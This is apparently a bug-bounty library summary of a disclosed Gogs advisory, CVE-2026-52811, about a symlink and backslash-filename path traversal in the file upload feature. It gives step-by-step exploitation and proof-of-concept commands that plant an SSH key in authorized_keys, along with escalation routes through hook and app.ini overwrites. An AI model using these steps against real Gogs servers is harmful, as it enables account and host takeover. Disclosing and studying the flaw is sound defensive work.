# Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym

Gogs UploadRepoFiles only lstat-checks the leaf, so a committed parent symlink plus a backslash filename writes attacker bytes to ~git/.ssh/authorized_keys, yielding RCE.

- Payout: Research
- Severity: critical
- Program: Gogs
- Found by: amwhoi
- Disclosed: 2026-06-23
- CVE: CVE-2026-52811
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-89mr-xqfv-758m
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-89mr-xqfv-758m
- Tags: area:web domain:web impact:integrity impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:go technique:chained technique:source-review vuln:path-traversal vuln:rce

**Target:** Gogs repository file upload endpoint (/upload-file) and commit flow
**Root cause:** UploadRepoFiles validates only the leaf with osx.IsSymlink instead of walking every path component like hasSymlinkInPath; iox.CopyFile opens with os.Create (no O_NOFOLLOW), so the kernel follows a committed parent directory symlink. A backslash in the multipart filename survives filepath.Base on Linux and is converted to '/' by pathx.Clean, producing a multi-segment name.
**Steps:**
1. Clone attacker repo, `ln -s /home/git/.ssh hijack`, commit and push so the bare repo holds a mode-120000 entry materialised as a real symlink on next UpdateLocalCopyBranch.
2. Hand-build multipart body with `filename="hijack\\authorized_keys"` (two backslash bytes on the wire) so Go's quoted-pair parsing yields `hijack\authorized_keys`, which pathx.Clean turns into `hijack/authorized_keys`.
3. POST to `/{owner}/{repo}/upload-file` with session cookie and `X-CSRF-Token`; response returns `{"uuid":"..."}`.
4. POST to `/{owner}/{repo}/_upload/{branch}/` with `tree_path=`, `commit_choice=direct`, `files=<uuid>` to commit the upload.
5. Server resolves targetPath to `/home/git/.ssh/authorized_keys`; leaf lstat false; os.Create follows parent symlink and writes the pubkey.
6. `ssh -i id_ed25519 git@gogs.example` gives shell as the gogs runtime UID.
**How found:** Noticed UploadRepoFiles was the lone outlier among UpdateRepoFile/DeleteRepoFile/GetDiffPreview, which all use hasSymlinkInPath; traced the leaf-only osx.IsSymlink call and followed the filename pipeline (filepath.Base on Linux preserves backslash, pathx.Clean converts it to '/') to reach a multi-segment name, then confirmed os.Create lacks O_NOFOLLOW.
**Exploitation:** Attacker needs repo-write access (repo creator is admin of own repo). Plant a directory symlink via a normal git push, then upload a file whose multipart filename contains a literal backslash so pathx.Clean turns it into a path separator, and commit it. The write lands through the symlinked parent into ~git/.ssh/authorized_keys, giving SSH access as the gogs UID. Alternate targets: bare-repo hooks (RCE on next push), .git/config core.fsmonitor, app.ini (SECRET_KEY, INSTALL_LOCK), sqlite DB.
**Escalation:** Chain from repo-write to host RCE: symlink plant → crafted upload → commit → SSH key implant → shell; or hook overwrite for code exec on next push by any user; or app.ini SECRET_KEY rewrite to forge sessions and decrypt stored 2FA/mirror credentials.
**Insight:** When one function in a family uses a weaker check than its siblings, that asymmetry is the bug: diff the validation primitives. Also, filename sanitisation that runs after filepath.Base can reintroduce separators on Linux via backslash→slash normalisation, so test multipart filenames with literal backslashes against any upload-to-disk path.

## Proof of concept (copied exactly from the original report)

**Plant directory symlink via git push**

```
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
```

**Confirm SSH key implant foothold**

```
sudo cat /home/git/.ssh/authorized_keys           # operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop

ssh -i ~/.ssh/id_ed25519 git@gogs.example
```

